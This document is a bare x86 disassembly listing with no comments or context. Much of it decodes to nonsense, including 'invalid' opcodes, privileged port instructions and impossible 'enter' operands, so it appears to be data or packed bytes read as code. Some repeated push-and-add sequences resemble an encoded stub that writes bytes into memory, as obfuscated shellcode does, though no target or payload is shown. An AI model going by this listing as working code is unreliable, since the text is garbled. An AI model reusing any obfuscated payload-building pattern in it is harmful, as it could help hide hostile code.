call dword [ebp - 0x1920]
push edi
jmp 0x450fb2
pop edi
push edx
or edx, 0x17699
xor edx, 0x8251
call 0x450fcc
add byte [edx + 0x47], al
dec esi
inc esp
dec edi
dec ebp
add esp, 4
pop edx
push edx
push eax
add esp, 4
or edx, 0x121ea
pop edx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff02ff
pop ecx
push edx
or edx, 0x12
push ss
add eax, dword [edx]
sub edx, 0xb
push esp
add eax, dword [edx]
sub edx, 0x3e
mov edx, 0x585a0202
in eax, dx
pop es
dec ebx
inc ebx
inc edx
inc edi
in eax, dx
or byte [esi + 0x4a], cl
inc eax
xor al, 0x45
cmp eax, 0x1d03c883
add eax, dword [edx]
in eax, dx
pop es
push eax
xor al, 0x4a
pushal
mov esp, 0x202026d
push 0xebbe978b
add dword [ecx], eax
mov edx, 0x2020267
push 0xebc0878b
add dword [ecx], eax
mov ebx, 0x2020274
push 0xebc28f8b
add dword [ecx], eax
mov esp, 0x2020270
push 0xebc4978b
add dword [ecx], eax
mov edx, 0x2020267
push 0xebc6878b
add dword [ecx], eax
mov ebx, 0x202026e
push 0xebc88f8b
add dword [ecx], eax
mov esp, 0x2020235
push 0xebca978b
add dword [ecx], eax
mov edx, 0x2020234
push 0xebcc878b
add dword [ecx], eax
mov ebx, 0x2020230
push 0xebce8f8b
add dword [ecx], eax
mov esp, 0x2020266
push 0xebd0978b
add dword [ecx], eax
mov edx, 0x202026e
add dword [edx + 0x202026e], edi
push 0xebd2878b
add dword [ecx], eax
mov ebx, 0x202026e
push 0xebd48f8b
add dword [ecx], eax
xor eax, 0x978b68d4
salc
jmp 0x4510b5
outsb dx, byte [esi]
add al, byte [edx]
add ch, byte [eax - 0x75]
invalid
mov edx, dword [edi + 0x101ebd6]
enter 0x6e87, 0xfffffffffffffff1
add dword [ecx], eax
dec ecx
enter 0x6f87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0x7087, 0xfffffffffffffff1
add dword [ecx], eax
jbe 0x451093
xchg dword [ecx - 0xf], esi
add dword [ecx], eax
dec edi
enter 0x7287, 0xfffffffffffffff1
xchg dword [edx - 0xf], esi
add dword [ecx], eax
jno 0x4510a1
xchg dword [ebx - 0xf], esi
add dword [ecx], eax
enter 0x7487, 0xfffffffffffffff1
add dword [ecx], eax
ja 0x4510af
xchg dword [ebp - 0xf], esi
add dword [ecx], eax
outsb dx, byte [esi]
enter 0x7687, 0xfffffffffffffff1
add dword [ecx], eax
enter 0x7787, 0xfffffffffffffff1
add dword [ecx], eax
dec edx
enter 0x7887, 0xfffffffffffffff1
add dword [ecx], eax
arpl ax, cx
xchg dword [ecx - 0xf], edi
add dword [ecx], eax
jo 0x4510d2
xchg dword [edx - 0xf], edi
add dword [ecx], eax
enter 0x7b87, 0xfffffffffffffff1
add dword [ecx], eax
outsb dx, byte [esi]
enter 0x7c87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0x7d87, 0xfffffffffffffff1
add dword [ecx], eax
pop ecx
enter 0x7e87, 0xfffffffffffffff1
add dword [ecx], eax
add dl, byte [ebp - 0x7d]
in eax, 8
xchg ebp, eax
add al, byte [edx]
xor ebp, 0x14
pop ds
add al, byte [edx]
pop ebp
pop eax
push esp
test esi, eax
push es
or eax, 0x7f
push es
add al, byte [edx]
pushal
push esp
push esp
test esi, eax
push es
xor esp, 0x3f
outsb dx, byte [esi]
add eax, dword [edx]
add esp, 0x35
jg 0x451158
add al, byte [ebx + 0x341e2c4]
add bl, byte [eax + ecx*8 - 0x79]
lcall 0x87c8, 0x480101f1
wait
int1
vphaddsw xmm0, xmm7, xmmword [edx]
pop esp
enter 0xffffffffffff9a87, 0xfffffffffffffff1
add dword [ecx], eax
dec eax
enter 0xffffffffffff9b87, 0xfffffffffffffff1
xchg dword [ebx + 0x6b0101f1], ebx
enter 0xffffffffffff9c87, 0xfffffffffffffff1
add dword [ecx], eax
imul ecx, eax, 0xffffff87
pushfd
int1
add dword [ecx], eax
jo 0x45113c
xchg dword [ebp + 0x660101f1], ebx
enter 0xffffffffffff9e87, 0xfffffffffffffff1
add dword [ecx], eax
push esp
enter 0xffffffffffff9f87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffa087, 0xfffffffffffffff1
add dword [ecx], eax
jne 0x451158
xchg dword [ecx + 0x710101f1], esp
enter 0xffffffffffffa287, 0xfffffffffffffff1
add dword [ecx], eax
ja 0x451166
xchg dword [ebx + 0x740101f1], esp
enter 0xffffffffffffa487, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffa587, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffa687, 0xfffffffffffffff1
add dword [ecx], eax
pop ecx
enter 0xffffffffffffa787, 0xfffffffffffffff1
add dword [ecx], eax
add bl, byte [eax - 0x7d]
clc
cwde
dec edx
add eax, dword [edx]
or eax, 0xffffff9b
wait
cmpsb byte [esi], byte es:[edi]
add al, byte [edx]
or eax, 0x68
loope 0x4511d4
add al, byte [ebx + 0x2510ac8]
enter 0x510a, 2
add ah, byte [eax + 0x58]
pop ecx
test esi, eax
push es
or eax, 0xffffffc5
into
add al, byte [edx]
xor eax, 0xffffffb2
mov al, byte [0xe8830202]
lodsd eax, dword [esi]
adc eax, 0xc8600203
call 0x248279e
pushal
enter 0xffffffffffffba87, 0xfffffffffffffff1
add dword [ecx], eax
dec esi
xchg dword [edx + 0x4e0101f1], edi
enter 0xffffffffffffbb87, 0xfffffffffffffff1
add dword [ecx], eax
jno 0x4511c9
xchg dword [ebx + 0x710101f1], edi
enter 0xffffffffffffbc87, 0xfffffffffffffff1
add dword [ecx], eax
arpl ax, cx
xchg dword [ecx + esi*8 - 0x379cfeff], edi
xchg dword [ebp + 0x660101f1], edi
enter 0xffffffffffffbe87, 0xfffffffffffffff1
add dword [ecx], eax
push esp
enter 0xffffffffffffbf87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffc087, 0xfffffffffffffff1
add dword [ecx], eax
jne 0x4511ec
xchg ecx, eax
int1
add dword [ecx], eax
jno 0x4511f3
xchg edx, eax
int1
add dword [ecx], eax
ja 0x4511fa
xchg ebx, eax
int1
add dword [ecx], eax
je 0x451201
xchg esp, eax
int1
add dword [ecx], eax
enter 0xffffffffffffc587, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffc687, 0xfffffffffffffff1
add dword [ecx], eax
add dl, byte [ebx + eax*4 - 0x14]
invalid